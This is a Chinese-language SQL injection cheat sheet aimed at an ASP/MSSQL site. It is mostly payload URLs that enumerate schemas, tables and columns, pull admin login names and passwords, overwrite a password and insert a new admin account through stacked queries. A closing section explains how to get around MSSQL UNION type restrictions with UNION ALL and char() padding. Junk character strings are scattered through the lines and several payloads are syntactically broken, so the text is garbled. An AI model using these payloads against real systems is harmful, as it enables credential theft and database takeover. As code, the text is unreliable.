爆库:
3 e1 j3 V# O* chttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--2 S0 z" H8 W% m$ @5 [. d" o& M2 p
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.2 r' x0 w5 b* ~: p" j8 D' {; Y
爆下一个库:
' [9 q* L2 C q# S4 xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--& ?% v9 Y) S4 a5 e& ^
7 n* u, `; v* s爆表:8 z4 L" H7 W4 ~% s
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--1 o0 l! E1 M% U
3 V) x# c' i) S: D6 b1 c
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.; \* B3 [/ E4 x3 z1 R( ^
" j. L5 j" a- J/ ]3 t6 i
爆下一个表
& m( ?" p; K s, L5 c2 Nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
3 k3 c7 |" z, f& q- K/ |2 y
! k, y) Y; i) I& E$ ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
# ?6 K" C8 l- F4 E, H+ ]% I" ^- o- n9 A. L
% l$ f' ?: Y( Z( y/ m
; ^& P7 x& x1 }6 A- j- r4 v爆字段:. l1 q* j8 P9 _
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
~# b, H/ |3 @ K6 Q8 H& n! W) [
爆下一个字段
4 T% s! ?$ R" @- L. ]http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
$ ~* d) S2 \# X- j- k+ h$ N
8 v- }# T7 F4 C, Hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--' d% ] O0 P0 e. R z+ E% m
' U2 X$ D* \! b ^1 \+ I) ?- X2 o* y, g R! ?. ?* b
爆字段里的内容
: P. a$ n! F8 L0 B7 Z' n8 ^8 Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--) }/ r, R: O' q0 ?9 B' T, W
4 V! b7 x" c' p4 _& ~1 q
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
0 x! V: j0 G3 Y+ H- E
- O1 P; P7 B* k! }! N% W, m5 Xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--( n7 s1 e$ ^+ @) m. g
+ P* A- ?* W% w% E' _* u# \/ uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
# \" J R/ ?0 z0 j0 c
- k, C: S4 T, E8 D/ R) y! @更新字段里的内容9 k2 {0 N8 K' F% x4 h9 B
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--6 D! E6 i% d: n' ?9 O; u+ Q4 t
3 G1 A g& k( ~% M8 y9 Qhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--' g4 O+ f& {# j, M3 ~* j
% K. S( ~/ U0 i( O6 k
, n2 y' H# x" B) A) l, [. Q% I
8 P- J8 Y. a5 k6 r: u 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。9 e; M2 h( S) g* h/ s
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。$ l7 }& t9 K" U
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。+ ~9 K$ v3 V0 c- c5 y* i' p
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
2 M* O7 K. i) z! B/ g) v! ]/ f$ l# O. Y) S" U3 f8 }3 e
突了了大部份限制的语句5 `2 ^1 U, t% p, H1 e. f
and 1=2 union all select char(49),char(50),null,null;--7 F, n) V- |+ {, X# p
/ I% X* m, w/ J% M/ C
5 V8 {) y0 D* ^. L
null也可以正常执行,不过没有回显,不好判断回显的列数。& ~% H% n! {4 T( f/ G/ m' V
一般union遇到问题都是有text或者ntext字段,image的很少遇到
8 N3 ^2 r4 T/ S7 M9 Z% {) j4 v9 b; |8 N( k- t/ w( M
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟1 Z J) D8 j0 A5 K3 c! h \; ~
6 K4 Y' p3 c; y# G$ C: C, e W/ l3 {) I' |5 ~8 X6 s
|